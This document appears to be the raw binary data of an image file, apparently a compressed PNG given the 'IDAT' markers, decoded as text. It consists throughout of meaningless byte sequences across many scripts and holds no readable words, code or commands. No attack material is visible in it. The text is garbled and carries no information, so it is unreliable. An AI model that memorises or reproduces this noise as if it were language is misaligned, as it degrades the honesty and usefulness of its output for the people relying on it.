зڪ<lw3JjX6OybvӜ`,~!86O' mC/e4tNb.(^椌GO/9sي)ր[0+qHjaZۀ'Lm!gGȡ]Rb1'VVXvgsv.^c8 [G\s¿Vȍ6փ4G$q|bl	do\y(ڷ4-P+eÃ3w.S¥x[_iw)~-'rlVtX8W~w8SVgb+XvGQ	['̏)S>t<w
ӗQ+=J~W0iQ'G8c&.Ѭ],bU9}WuGO%0#xi.WY383Z-LwV-/;ZHrkJRn&T,)Fs^;ýJZm	#0Uî<D&Vy;?{<a/heҎRq'0)}j==WRXtRM	Yf>FgR

3&w7s9'4v
jEF^iOV\KRL~6_͇7DR/O'n}_~wgMДkj*y8=$Ԙv^Syۇrǔx]}i+JUr0ρ%?jL2&X)ۨi(aJI%et{0v2,*zD?>Ժiݪ>q5LSgs۔gM41{^	E>呓;}r
dOi\{ʏ^wO%^8k~% Pp+p|HaV,%11h~c(7GŧXw'Ӑw?mר?OxqKDQs."fQV|OP3G;	H壪rCjv@0*hMV
j1&;X,U)+Xr؝HhA9w~X#a 14_8=?YjSقIl	żU+:sO{rr.X\~MqL4T%c	UQ/mR far~xZ;Ek4hmWJT߱2%vJX+Lj$֊Z{%<Id83&e<4p?pQq~&az<"beϟu&F
jP^oD:zW"@pipu~ѹ{(ԧSC/Qr{֡xׄCnЃY0:5/csn|>`h*nWs29E&_6GSIMYR:4kq(&~Pv<N{4P6C7΍>2AiD{Lү *W:0-7ѭdHSnmm,O[hM*\;,ODsΟ5|' ¤x&
L9
5phdxfu
DtK#kWpaɱ9%!nmXQ^<\y#y8_Sz^?Gw\iAnhIX98CTxFvaګ7q;6#yzW돀Ic8>YGQwH&^
7 @͉"?%FJqv3i~-Aɏ/raPo'}_9]RlC974oS\K(ImfaDVYu(fVRM_ϯݤVr>@s~$W&K>bY"qF6J!;w\Ow<La\=ipy_k;m]2%뱸ֳ߫m_rԧ:X{ǘ3jsL5V?VG9ìA$(7uw(6bycc3wa:;EæxtsZX*{9OrGT8s^kYH/cG89yT~Ԉ:86=m2%u(_2C;֙u+eu(>I}D+^Ѧ"DhޜvBTG8q[
cCR
]c8FN$#r:`mxA~~u0Ѱſ$'@3Fd'Gƻ<dMQCi2iZaho~]/wa
:[,ۅ1uCM驊uQ}qz}91Bٺyƭ/9ߙ~z9xp[sLaNx7|r7E&P\@-Z;|F`NRk{eh.uiЪ`1x%ZrGV0iOd\ѯ<q2?v+{XdZs/{T,hXgz~?H_JR56@y@-͖Bt"g|)NAdBVdXv¨FO<G?;~MTՃ
KKmA>L`>
DGWٓhbh:ӽvH%pWFD.S'6C1++/iiߜaDh,5J1irGnp'Rƃ7g[D4m|"%Y
%+s|~.;	S4/yt1.AJ6ۧ'^ch)`γ'gubetUGGtUo?Ktz⸖}5vGA<uPF6?F>cACѲX?hW`T<vAp6lnnR;Gxs~.p%f<t<e܏YDqKpPNķ9I{'s3&ƝpkM̙Z?^5$\"s
P,NX6[O]?CFݓ?&:bJdMj<m:H Ush{/N-܃TEq'r%
{Ɣxэ
s[lO˝VK8ݔQ\睞6_)ߕ8ҕ̎ɻQWXlt'݃T޿զyRPn"=Qha
Z3m3y$cp~왏)#pbb|7v. tsǎ~VgF\zE1愯2gzE>gү9$Z%&`ڿ>C0ka>YMu~(_NpshaṘa!l1NqX@ђ	47WRF2i™䫂Ɔh
&lFL%8ODZao	ũx%Z>=@N.C~3gᇟ>~G?~#?}JzՔu>]X_|O?1,50OS{M.S`3d4֍sx妀/g)UmLcFiVr'N]C,a*I#kda&W0)8ch8L:`5Z>T/:j_>~;g`QY>s4!ji\ +@Awo\+׆FVMV^@\;]Ϫ{Anj~֏HKܤߌT~'ss5	__{TxL>CQz2ĦXu+|z~:BO wBz:z_hO\`ꕰ!]g5>’6[[;emf5^f-JpFNVqV&bLG/[=FX0K&ar݈ӊ!>5'.z}8I4O~A@<+0EϽ^ڬ$9"ߥo.œ,{%:wIb&p1{FSjyǥz<Y!Zm5aӛ'A΂f7FŢtA1o_pee7svgϙĜt)08.-@+߻Kz9 {~(}ʔXӾNt}
tD&JqYɱUV].
2)N_wss-ݚ#	Jï;AWUX4H/2sF	W>&0j3S]kKkC]jxөt
`
=yReQbU
p_QR'^/LX夔oG0	t8\I9R?'Ca4vVd,N[`u>\?qisGٯ?AGCw$o6ë>=ν;0dA$iͳ_dOmeD͛]:Wh8Ý nO5;R^-Wꜽ8g}/^F3^Nɞ
A?uu?;?rP[[2s:]?&d=ߐ~n_m<'
E.qS3Gnsv"HЫQhwJ!8u->1|CW(UiGa5?O_~?
>/5s%?-TPG2U͔]í=/m;ܡoC@ :-5`ź-}j˯OY*YHA %\Ǹ}Gb^{-Jzu%|?æg*R,М=i0C+p!_~_|J`u$gE{OC,Өi;xcFsQ(|Zkz+C8ߦ?Mɮ#;4ӑf';֭m v<fw!'ksv>8fخ'a[,-}JGW5hvS[-h$<uOmq:45n\K?؉
gd!$h;_~QxX3w];@k~QE_yȹǧ#ͫ{gz)_S*5OY?8=IH"7dH_`CvWƓ~Dkϫ~=,ݯ%_`(FPjկ15+=3Z{=w7?~iCS
򴪼֌*[DMmM}7BbV&ǞA֊3O8[߯YCbd7gnu}[5dv׏'9-Ԕf-ska*?<S'2UkFm3w?RdLB:>՟zp_;HO
W3Ck5õ^?IܾT0E^oq&b/1$/	Hu
HxNO*#&??eYhu݋ D)@y91#@T$^)ZH\&XAHd15~ЋA"⥣>Эes|ӧN
U레%tDymp)Qhi+5YV~';ZUY
DP+\>>߉vwa_5O	qa3Ri	9A0,%;a$ZAxxH\:dl|Gpm|9t#'6H~߁Y"mr(ʸ%`҉'?:'ԃ_LEB#.100ژ(&b9+`4w;G[BiN~EIQ`<9"!!Uߝ5?o>~m-@"~qXWGU=	$^gB+Ti3=,;%g+7,bmGisy5~wH(藵R0W(^;<8+8
~~oÝ3?p.GsW2
[\{>Bi{t)-7k}̝J^~99>ىӳecLW/n!87~$MvbDSu%(
!~)0'Ł|{'M0wյOJw1*S"6*hW5F֯|ZD3ZCD|4`6k0Ba3f
}/&FhY?K"Jc&,c"d;9Fߜ,W/V;u3T&0T@AFTVYn>8Rëܵc=<]HLd>RݟO~I'LyJ"S<#d!mk¯ϕplgoׄt<$_ZͦoD.M"XɈy7؞=A91:#/l+_[^$vtBxr2ϧGqD3M8ŜDw^	|Tú#{;T%37U?ȝ0핱^9?p˶a]㚇v΄bKtżҹR;#μGZ>qgWHmWR^
vkx3<0w7z#uixQLg4NKbF3kou?a_m՜C/Fuٟ(R#~Y
Zwۨ}L=z_'}j!p,ert=!Y%C럋2=IW@+~ɢp
WoumW
5xiI@~!wy΄RvUΥ_Qu4 kYSl m9K:z֌SA.|;1iGҴLmK$]pUNxeRݩ9ww,ضLSӜ1A5ƈM:NgyӮ)
.Ky̪}']3QCg~o H\'!8$t[[t8>TR"9̦|~_}l͏Lpp\΅u
n8cڻfbdNbC\n^}M^mcj9
sֹ~W3vke5_LL].ۏ|>t@nsՃ'+Yy]W!$[3>ׇм_
1pq%qNEe"-yoOxJ
\sdLf],jdW`VʣI#FI.y`Ms>Ukr}+ҋv=`Fs3OײD]3g:9:8	TQDY"MON`Q!K<pXD|1T;KbM΍Goٽ)RQ! 98WpX̢rPZMEβND`+˻KΞE?nIX={\bMjxG|4%p ۻbkL߰O1;
rag#޲=msVS?'ms;-YًkQcBŭΗIoaO:ȬN㩔ɇӋ%k:ဉ`sXWF%s.D{gܴ),i!{[DAԿ8Gj]:&
]k-wl#:#}GcuzQcZ.::>S(Z',@",_1hI*d5$ҏ/\('3j$ӋoJ*-Gu{uHfQ
l;knn{K,fcW̛s9xKe_n@4zS3%hјcGih9C윜8U8m	W̊Y~r7/#fY|-5^ðbHss~5=9/+	ɔbK]cbz`B)݅*g'+,ϵ(#~0/xޔKbPdvJ nWQ.G}7Y8?M]]n8gιWAQ*>k7p)Y{9zL},R1Vk8wm	o6hR'(tzDDYsa2³ӚxXT֚kh^(7-HArg;AQoY6cPY\Vsx'QbфN9`4O|ެnͬNx>~/<ifv-Ut~<\jckUM"l[\O7QĻ^ˤy}p^2!+{7u73ׁa?eZM?}
	W}}K^
vІPN_yO؟.Л%z]tw͕&'[%ooJ>kBΒ+hQ.5pرG6%y~~>asSK%ouMYN=%[Q3#	Vwh>p<{Ac{	Auz Q:2<êEns	׋E6$O4yF-!mzksB3vG`={
w/0V6Y{퍒\W:{k'>9tF&Ncn
~_:xƼoOkB֤E8-dESeٌDrV9,?;ph~Hz9/w?rO:;'g`xs!̩eSB d<VpwNk6]?̮(uocr+U
r7:'jzc<s|Ι!LQN`ts
6-K9ʇN:|i|y^V?TⷦHJ=hSf;@m{և6^sN#O"F.;_%e/}~&ΥAdoM瓟ќmS75VҰ7p5qGz&?JiL%&%\.tHn(vk=C{S1ܩXʣL;g$f84Vֵg&׽¶~֑:8cYvnasi8G<ޱbLk<#z\eWޞ}i?%iT^+>vD_Qᄏr5g+φ0Rc8_lX;p14c'}c??B)u3*FC.^67=*1pi=*ӣ259go/	A}/0^HU_# 7'9]GF3'n.-7ڒx\26F
fudaKyk~N_>nj#9ycMY}YM;k3?p?'|gS?L<,3||}~*
<bn9Q1ԏecK\]xoشȦp`1U›7<ON~g|wgZߢ34>R!4~3l.yЋl(fֶi㪟
9|WMϟmq/,`-#9XS###__~F0RM8η~ǶƜ>Ҩfvj-jצl7M	6[?6Lzؤ^6z@=':dΉ=<L`ݝ51p{qɦS2I޼n8\S;$rebnduW̖x{`/IKZ65	mtgxW`_||XD!fx[WMAϋM5{4pס;!me+K_:[Z"aC}Uf8z"l
' icO8Z1Mq=ҮQjd,f#[LOPM8=)4^}[-oD{
q/w
ݸVΞŚP`70P
8͂nOE>ZRҫxL/Z'fZ+Y_gD\fRg-NGX-r>H)`ښI'5-߼~kj#j[#fx_['![<F_/}
X.Z($3%rNf/D4Jzs'QWU泦+DXihxRU?tbojԥ{ӿ1S<5nn]:`vbω}}?R?GW|*OMeJ?Ƅp߀/{Irtu>"uA~ju}OB\Lz:63R4oHל1FE"x.ꪋ5&-_<+v
]S7_k3~l:h Vgʘh]iN=&>`҅Ӈ_]"p~fHLjISf3H/
`	P:3ZiYLpz+gGa,ajqjgqwcuƳEvpW_Q˽Dw0BCh0z“uP9?qS#~7>ѻN=kQO
Oj	
;?RչF2?xX:߾~!\+]_W}[zr?6i҈w>/w%_&%?gM{~)3I_@<g\}o *#y+/=[tMyjS'fFSX(E߯	"JҳDD/ʛRK÷HpymGvx;T-T1cg
mxCJO>"`_8Exxn=*}5fB0,2#K0TR>2†0,(_"
0~Aщ66^8L8?uO
~V8cp:3]h=ǗެX7ˁ[E}ͤquUP-7EA	/Mqtqmd"+s5Tb.}q-hQ<Pku^LYvirpFϥre?Oqp/N=>&L+b~{y	b0C棕NRyQ.ƃIփJuN
3<ܤr<NomhFeШ:O>/\'zHop
f\;"O_c6n_;׭>/	,g$?
_g7]1{,JIPi:眩@M|cr-KdWoP7R?$~6&TInlq<09h.²?|?|#gF14ԻgKn{gIR;ZF?^Ѹ/GS.U>f947Fg4m6rT!T"aWZC|f$&ks- x1bߺۯޗK'0`?`1yE|Ͽ$X:+55qv<C:qy)>|ϼYhzyDtx-Y_/?G{?ԤW*/#XeMċ'Y)?z}Ό1K̇|꜄a~8R{
Xt
]KzY6\2Zs++9K<LCPxjH55L%?8(`gM>+iRݪ䪒{vܩx|OJN2ꩇ+L^9f)[Q[OIo;P	L!dY׊zwC뻟-TQ"Nz>]Ïv~[|^|Xw5vm%Qg?	WϽ)e	"M]3Z14j#u!u)P[v)aq`'4	8Co5o?|~~׳0ͫ|K%Yĝg{I+Cgzp'%b ߜ?Lc-U8|~[7PZzop{099r:sqz">)
)W;Nb>Gsk&0ڷ#XYE@xuW>wyK' wlí c>lҬΙP$4	9k
ɧΏR,p̥6`Z&g7sI™J#͗\
Ѱ5Hz7iSZw|@vT3kGD/ZTƒ(sbxKKw-xSJA<sCjm'Y;=R@\ wѪR*`!M-F'dx["?HcsG?&&SM 9A= O `0%T%'"&*\~mxE<sbme^YK?<{J	"C6==z-<Kv\@)1svluwLtF7̇pj\|J蓳%,Ը/@@95f)ivB~bAhY@˼OzجOM-əp(zpv~aX8*QV@'3eug9pxx`^Çn^i?{~;Dήr[#WGzgќX!Rr?_anմ
SjT~.pދ MC'DL33hSKm\sXw	ly6lrV(UmGc4:1^'+j]Mad	ov\w.V_^bepUB+kjW`	''g9z؄N9xX}KrwMn9+]Ɵ@0
A+4CNb"Oh'њ~o9?g`7cw.>@
ZZBoyON\%5
J^˂	α=T'q>I!Qw<p>[C2	nhmLy8_Dzſe]DgQ8,4[*s_C?~ؑNi56>4w^S3dQ\vQ8ZN	EkH뗗dJ=Bf>9~b,'}?:u\h(Vý|!%7|u@IDAT0h*w@ӏR3&qs~
)t,0>@?/k:VO,śjo̸S;K pO_U4`;!^#F7=t	\0Q911Aʯz D''k(?3IVb!_Z68;V5`PU-8z,m,7.2C)_̴/ľON8Q~,Ɠe♙"	x]d)
/[/woͰK?E:PQ_G#`K?1H3;-yτ[/M"a~f<AV%;mM,mP"`?2+ІS?}Ks71+`I{yu#azXAIj=NgAv<.
p^a>%Mc/FJ".D$%ŊKuq0co]8Ko{BR	K$#
O093R:/ڇk,vFhHu}k	{ٙ)0+~@^7Xlfc\diES>E:čGmn3i{-0\vJPrޒҸkYolF02u![[+_O}'.0`v/%D+*铲opzhC^B<ԣR#09G^ym>Gɒ̲0,?ݯ5?&[I;3r[/8X	ϭfՂ]s=FȺNdjb$2)~|
fNS_?5\sz]D/(Mwk\5C~wCR6sۂhsO
0j?kp14+FJbdH^!n6Q ?o_I9+h]|H{.{\W|6:xFQ[&,Zv;?}5mZ%}&i7AfpҪsLR1NbZn#pj]ăJI+56^w&nofk[Gf}jRim}
'G1b,IJii~XUS/"H<_^ք!Kj}|;Y
>]kϟ$GMkd:s1F=3K
DC7~sD@`#{>5^7.h!٥ 3Q}|_/G|#hK/0?r;c;q!9_UV+pjs}=6\LJ\<I9kf֔Vma3!?ǥ@{C
t`_t H:cC~,^~Ԯ{2}?~IWg& m?yݏbWXN
T%,kQպa%` 㜿U4lYođRJ?c_	7w"1)Ē&ȍ?7'FEBQ<5!#ښ~ԏy?%+"0b;$/)q6g8w0nVRAL	\
kwy;t9ܹ%
'MK?mv};neps3榹:CʔمW26'QC:t(笴9?T@QޮNUjr
:ҴZt>Zʜ\8締[s‰8nFrǐiLWg

p. &
yGS֣Y\y@pMe:uZA{&{A'ɸMU?b߄IA9U6ՍY$UH-Y
c~k).Cg!LLN2*yCE B̀I:D:G-Gpqܮ Ũ%Ct,m*~e豘Z@袆r49~*`'x;3!#f,jp&i5;>|Χ NphINlPbCfBu΍ZaOV"
{ܻxfimHcJl̕GgocMRawd
ZC=ʠNo+GXg6Exgd#m2et|>*_/dsѻߵ97O<L&-t4^o1k<]+^=Ia4~uV2o&%MSּ+hڄs8өZ'8fYN]W-bV~q*v韐GQָ|P
Ndf2mq^6	(,#P
KM:#E~Qz<d=_l\{WpyXFL-t(ߪ?!RQ
~/?fTԟS7}sh9+}ۙD-,
@o4|5f}?<<t%=pR	g=./DfsZ[L	gÅdJͤ䘸&U._;3?KLTsf
ǻ~&p(FWAwcGp<^8mKw-f&
jgw1+TXGOlΫ.ם|BLiAa5w9J[2;u6:ϱTF@0gwݸrqld-9CҀ
DS0J;fD+hi{	5oL;Yyy`M/ٌNuY*{4RhkVsDd4O:*co^.35y==՟Z{Ҁ<4Xi?kn&_xߞ){7cvPVgqi:hBDנb񤿭X;M~=OUehaHo\Xj_W+t[dڜ3vnDغLQ /B$u1hSN<::Kϡ~fUeBϜh6Q@OUQ+jsC1GHpJCO#K=
e,WC9mQܙH7ê8&m_QX?9U"pO¯sQtkDۜ_N=BN/gps]`FxaN'zݰIh2΃^+u8IFhWO{ʟNx>!8Rh}oz?7`u]2~]/\xBMϐEPr\O)K?y~u33\
8FM~BڻY}v8c5~Tt|
hvI g-
h94	2AMϙC16v#V5*[xW~{ҞIq?$ư~9?S>`yH=3Q
R)3
`#O
/ufJ@v{<z%NV0
=);$>kF|A~Fua9|^ַ`VAHPiro|ܪk
'UƩέԈ{Ͽ_㏿G}Pǜm=/
s_\ts5k48g}GH}:xܒoǼW
+z>=-?~WAӽW~q?Gyo/ԫ[;M*I#U?ngBF9ޫ_5P?pG:w|_0.LCV_L/$$9Q\m	[Dy.)ԜϰxaJ7P\J<	=yRp3ɃwA/Ce04{c<czجr0wz\ZR5ӈA"zۏS
.bqg&Azʣ0%2/
ܑ@5H*<ހi~I?K5*͂TЩtjߎp:᮳yA~#*E1#&\&WmՏ~7/aΉBCԪ{)C^0:Ƚ|j[b8(Q'[
}59u.ReM-Y|3d^ڎ[:/lipQgcիmW.xs_BvM}图z4D#>x0]p$ޗ^MYj	Ź#,+ܬwMLfߩ&G-!Ȳ`27] Ao|veVYYjzN|O.od<pԌ~m`kn`Vs{}&Qo, ڼI&{E+aޚ<3=;8KəC.K?ã<>@xAoaT%{|YkZz}u0<c8o3woO2(Հ應
U74׮g cgs\JZ~+M[ilsǺwE_;>ܟP6P_?Gs0i>c1e9OM,S?,/u
1^U~ǿΑaY,;JMpII2hK+"h	;qL$F<O$,~gV<q	8-lH)3GŽ-v'R?da~v5?|@_?`D}A] 	{٤&{;>0+Ԣ~Y%Xe|&j<T1Y+~Ύ:~FdF#>?بeWY5 El-p/qu_BF&$Zf:81}*2ITïS
b?Ao`r7%e^9^kՆc+Zw7:I9V>['/+h#-1~jsd?=0Q;:[XzG1
3'Z~A+
!wdz&
H@K_$\^1"c&XTL\_
!y8AHR{KDmC]Ɖ~Z9^A6-sj&{G9g$t}Vg(8\evߩU&n)ü)wj<M΅9ѶkykƝu'jk<qcCNS?
ҚS;ɮD{fgקa$V8HQlSu:fܜ&p^nMO}TuuS$C|?]ix[SlCGNS?BVRwXCkG}ܷg\^*O#|JukϚ1&ȯDmRsIbukI<yPQzEh~c?@Zg4US+~:h?D3?'^_4&zg ,iHm!sLODjZaL(G?3@k±He޿z7Bpo|tˌGhظ(NeީTxS'1MsO~ZK	͏i^jm1;YFs/JqQP3EUWW<*_ ^˦rx~/amU=	HU&&mBey$Al%Kʷw#+:&\ܽWqj
G^zOQN5u(:p1%%]XpD'5b74ډuo~.	0%'?Gq5{@]2^LN_X{_65)z7} QuV5Sb9ts찴)qZc_E/
Fw6'{0и}kNBpinJqKK_SjH~NDZG}/I*x:`E{˩`<)^v軟kfr9sl]yz

DwrAIij֊<~MѴ )?~k:ϟt(("`yFǾ콺Ds9W[3X+kjC9QnMݸ(fd"%r >(np'`:V3e$⃧5YaNƝqvEI&Q?k.~%/(<Niƺj]GU߼[@v3!U\ iFi $<LF3_Hρ
ujfa,|7(y"3uGW2i9cz;[FsV
9(Ī4=ǫK'4LYNr	ǛsL@!^5#}m
?-&/ΘxFrR~:
dQs74Z\ncPuZȿ_=تK!P/4:N}ܣ7D^x#MugOF|2D&_k#gb[uݱI1TL^@/ExmpY8MźsV[V=fmYMGƭجIZ'w'j-<50_/wuI$EƯfC	Mc\#J
:1$x~m;1k	1iPҟ:=Vݩ(')YLXk<U;玸(V4?wܛ&P>sV5-}Mq8xU;;߳=D8Zx<{'9k3GYT1X7g6i^3梲&lMȺcv_#|%Ub-kAPG볿
FmG;ui36]zۆ7i^t	b}3j؎4:NpV3%_uDBəy
w
0#F@$_7א%>a~K3!gmFiF3l6!*F:;4£upC#8wڝ֯춟'z$n:|yM`ۯݨ w_}T\I}zzF5M1;:Jv>&b'	
b<Ȯg^/4;kXp}~.PC ؽU/cQUSC#<{w乡s8sˆhwB/qENex
m'N_?YѯSY`R}?\1J_C&7+ϪwKuuf֤2VbqAhy4W2,FgP6?ȮڿT|H꩟/%H$	V睐qEqx8`8̛7m:ŗ8!el'A߾@&2xHl?/H
	7#@Bҿ?2&x5)Tp}tm_6[^ya|╿P̩8$7(ӓnz8ė2
DqwM\)l2#0>6st	5n[/RnMQ\hsUaӶӛ+'J"~F_Ea:
iW롶R<!dD'\,H~[`yVۙVcgQ x-k	x֝^7VFݑr[rǟUKм(SaVSy
Mf9UU&F!	5o
Il*!0wU@rTbvQ:Jpkk?l#ǯ>+LYeDbo]I=+z^]ˏc@+hcmsE6|4py/1rʗ#%0ٚth`ߊmf`HYȒy[Y#S|8gkrXD~Tr$=SOz\n5Z/抺	,b9\Y-S7ȢݚHYIAc_ZaS&Gr^ůfP<r/,q:tME3K,kTZmt֍T#LO=S#nSjN!0鬡M<|K
xzE8(.G-6GPi;ˈ14D٬MV`藏9$;h'
eP욬3Փb˙~aRIkgىHr	ӫQPzR6]0?uf|=0"2w5զ$15;KU/;.ct8nWf,@(W(!dvD{׏O;?2kHJsysRg]LԇǕD>#D!zJ!٤3NY⤉c͌
N},‘~	g
6|Mo3˩QjSl0|t/"Z^*4OAd,_τZ1.Tػ^+~8G۹$?gVLѢ#iKȰ%})ynB9M@=XƺN)/ы"
<u9,ɸq1TYG5p{i*Hz);@Ӗxndp3/yjz_:,<-k9gJw:N8w0g~"#]	-\jcmm[r]xaC%e,"ī3"#m׽gUUfdddVӫK}ؤ#`/h->AP:|!8
4CzN;I֘6xiLNAL0	5zIo	n:_O u~iUn9^U16UBs)R:+)9k)d֏.:hh[]ai:oMw]/?IgOӖ\hsfw#@*Ϝ죕Mf(k7Q!6@ >:SP#:SƟNW]Q9;EN>y+ql=[dޮ襻oG}O6V眾\燽\ܞ8_w &Wed{~Í .߈IQ\n_GxJ2-xcӛ<vIxr.`BǚO<Kg~G#?J=.$%i65ԡ{?w=~"f,ԌysA,ɤ%<Tț>Ztq@oO|sѺZ7?:j:U!2q>;}3yr\/iYXoD@_vܵ5khn-gzҼͮk	qle^E(/:xwG΢GWy,"'<kMiHe=+ܳ_ѭKΦ
;VQ]=Ą^ۿ_{_~k|zھ" Y1k9cIj)0~qup淿^^rxyKn%4ZrOrql7bl_.&>J[espg(/>Dl5+%=;Y%lljLҦ|X)̞kxVq,CcW	]t8?^;Dù5,kbkF
NiE36KW؀㭉ϛ9QvQ`?)wO]\:/Mud??MGe`0YZ6
D;%
{6fP`@ujŞakxBB z=;%}gNq-02T9SKa"-yYPcLegZgYG fn/Q][#fBx4ơ{0ae8\sQO=O>x()C|2i?=S- P͡v-9ӟIш9Rz<kn9J	g>R-ZKVK#jqle>/&8d+I;Ƈʙ<7*q#A?gӵL`j+#¡SwI#63XS"a
;wȉY;	fKs~	!o[`ZmV>?w;%36T]W99#'Qspמ[<ɱTr1Jt~kDGpƿMON.kSE0MnUfB_x׾90Τ-7{O	fiZxu׾ciXd	<Ɠ}sY,fM>w=#-v}W"vi
iJ]P8ĉ!NBOk?Mw]/#$m^=DLKtcֶ}:yb:3o%K@wDd%gv|DzkGSYakݘF3û
{ΓDfMmX?ʇ
is~?.E25;]Ø8ì@KvZ=F?5(Q6/?O~oSiy1]-#bo\iF:؞x	,xG^kVVSGrWB$^6ϫffpv
<4<.)mF]3{T{__ Ч67ֈߪol^07moC<a(SANo€0M~;D^&Ϫ>ӟ|~X?~kOh{(ZwkFd@>9Z+ˣzlη~ނ_Fm9=pa.Q%<r$	x-9zPT5[	CВU\הQ-e>8WgM9׸;OgYtC+Q~}ĪF޳#?veCxN밤ײ0Rws?E?ʚ{#OcO [MVa9ֳv5jk	mO~xT|9	0[p|ߺB0L0*'_
T?bv3)gʖ8o\0b@	/V-[0Ȭ'-Zj:0Bx/څ]MH79k7(<	-L!е|g9Gݻ5XYk1y?x~~~6͆)qYYszNgzDT*o]WrO4AY}dEox멎g.<:X'&_9/x?3C=l>M"K>Bљ0;(ck`f<kܛ
[ìuƠ?{r_
$)n2aς̓^(@;>Jgp/ulTHu9u<9g+p╨TSr_r{A"~RN(Ԥq5#7(xDAUj|!dNȋ_dɔcctx7vF\S>dȓLI>+tsqK$x ~Uɂ3]0<"䊰W׾3\ܗFۢMدnOO|'?}12M#)i2bGBH'WS¢/26dGd:^z5_o
cȪ/\s]ak:K+bl=T,p''>_ꯠqdeWZomz?t.c^
~/[ie9}F)\E|u
}.\>|)!J%{z慮^!+~]t/=oD"B#YIly_SW9<(/e9
8·:Y3?FwA|{Ϳ\5N6~8#Rۑ#+tZ+0Q7;_kK_V5V2BFcKw@?jF1K}Ev6C~~<ssgh=һK??_x$gX6=iGfm׎pONN]c{ÿ
EVw?u .Gd<?j.ou~p~1XgW s}ggl~>f¼=L

VubV͏Gx+>D<8_!~P0PymWzl[.Wc8/>8ݬ.|~89B"p׭/~бaQ/64Za&{>^G2{<Sk,u֯صG"F=j7KZÈ%9|_徨Z=k5EiAzfV	dpc{dPʋ2U%^C:OQ0[Ym^aU~.9j4m3ݏĵSqZޫ;oXEogkȶCݲRqw!t&'sV;ا,csXgՍ3xtsSeA
a/wG-l&f$E6<L
b?uLך!	=DJہeFN3i|[9<*3NUq+-柟IO-Q~>Tsβ3j=9%gVVb3Z[kc̈NLn2hJ~M*-eB]vw/sV*G}G	Y6~
&qI%nK-s4nrnoƥ>d9nP&:ϫXO-w=՟6_<:Y
bfν#q+|*Sdssh3mסgtJ=)m4|Tɕ;ժј`F&CZRg
OI?4BߗhE3oYMkyѶNܿrV?^Qv=۳tHk˵Dl;VGSEWicWND3djxןVȉ]|WO2MZ4cT;Hö=
2S<=p׻Q0/ovߘ#e~7[@'̧G}glMۈLVmxf\D>O D?^B6:i$99a
o/{^>4"NZy	cS|6_u(&#m`3u}Bqc:j.sGJ7:C|srϽ-"\evOHbG%愬Yy8}	ƗXX7XLr&}N	|@a[7H<G#駎5Wk<n`{3Kk^wu
	EDq²Nx`Hdx?ك=62'C9r5Wf()䝠:眢kcwNNrAayFz*P0j'hloJ8fDhT˩A29˚ybD/cVxo8,Y>uVilU&
M
Fh9Rtb8oe ̏&Ȑ:"3H0gq0
S$^sgFcݩt;1֣{xf&uEZ#
<5۰h\_	ϟqzr唱joœ)@tXR?NhF
O8/1I<-3]p1OA2++{ck:g5dS-Z4;-%[k.9`0檆k~فXy\o  t?o޿^"k#mmnɕiO0D7boxү(ֿ!$`ӏڒ#Up{ƣT20h9ifљc@4A9~9uOdzhpǧ5(Ȕ6õE5wGӳṤ`)3YkRI^u$ұhNbb
ZpbB'ۘ}r9~L$'4Plc^Lkn2/xDDMs7mtX=Dcn<+}Yظ?[Ix̆l)Ǜo~/?Ob~@1X_Wn;|;IXAU @~,<2njw0hO5;5T/;5aJep.z7y?
Lv^o+0#,799$f;i}8Fcv27'"wܝSǟ?@+M,-
fY(t_eG-h#Q<8nz|v&PzzdCįؖql#94d,A9)9pꙵxVpzD>[.W+9cNf
[/?яҞrfH^-5l9n75X`O֠9p9f[7(J5ƅ4SDO猇|֞[Gz0miWho*(-d_ziT^}$!?c܆bem\=z?.W;~Y*to5\Wa#ub+cDUC{?LPyLl8~I)9t_
㋰jͭqB2ne"p)֯ rp>^͎u3֏+	E—$9,9~	3jkeԪ
c&{11D$I@IDATyC^^B'ų~p#lF@.waQVN_g`bYunbvFO|xm+|dXbkr9E$Hܚ'uB=K"/@43<&5ogO8փ{
(0=flM_4&#|$?5D#qr;0(PNC&%)GcW15?kXAڑx`³/b,d<)uNUΥ[~;O/~q=糑9?DZ)`4?i_0N%:#)߄L}\ǞS8yK`d8tS9qA(#v<3FONM~_9cjf;V#ψ/Errj6ŤpӟB;"=
yeJuM[[	a|O'aSlzb&=?k'Y#5bӻLέWXE^aiߵqH+=Z7e0y8j&ƑGx3o'95uP 4C,ɑ5xKn<0O:wXO~A#pќ5\va+O;Ĥhss? f4Vepp)/ݳJv w;^baKdUxě	;_?/*kk64~g~9?ytqleexcV5_<SoHΨgqX3V?
|,O=+bôpdY4/)1m@Тwk!r&ؽΘryN{˾	ZqOc56s_*S"׺ϒ;?.o4ȱ|8QU;PXhg6O{9é/)z4hls7߿%<m1/SSwTH;㠯|tMwyE1|e"gkZdE?(Մ+uR;'|&sJ'F֒~Zv`ԯG~$!80&0=$$ ,a/E,\WQfopK>X'x5;c簌zXOS߃MpxtB+~aܤ/|.ĚGFl{R
zm~9DSyv!?`i`ȌK4|~/,ɜ-s9KZ'c?Ajru፷G~|/F<Mrp\8o1/s7ⴊ˳Oh 7:uEQqz'Iu1VFCmW=
O,3{*=|=s;raZߺZ-{m&1YL2BNs.c[9bvw!p>tO3ZeS?zV
8}f=9.?fW|>_q8dZ#uߴ~Dxi`VpnMuJΝi#o};SW)aA=GS/ގO&GK5un1_cHRYzj`23e `MF;rBm5s&9m:[-PƥQ~~:0][}}صE{%&koK!<'G]_-wWI+2h	t};K'.SKz%NJg]a9ୣ4s_
(]6ކ[#s&d:g&a$_G'ұ?7XzYvLZJbFl^.24>nvmjhNmދ''ko˂7K-3lyşkўz;8їyFpzΧ5ޕoaڐq/xzg1ѿsl>GZ-Y+87iW𕽾˸:|
ιʔ~?q>/~G~g2[%\uw|Ysq
O`n`@7|dj \kYg%Qgҩ/sǿ/?䫦ynۿIx	G-Akׄok	&՛A'2`Ҋ}lkl5Wqr}E?ꎶK?u#ސQ)DhÀwklk1%.@hcd5˳
\lX(k/-=a65g+5Zr<6ç3uSCB37ުdϾWj<z׳ͧ8'pfq6AFgFcΧ'VZL"N"fϣr仹>Ʒ\Zl1h{6`0[NM]#S?=$JrŬubq>pclmfQPKū
vֶ
&e^
xٺZTMv>`<	[׾0⒦	%bc36sI2?
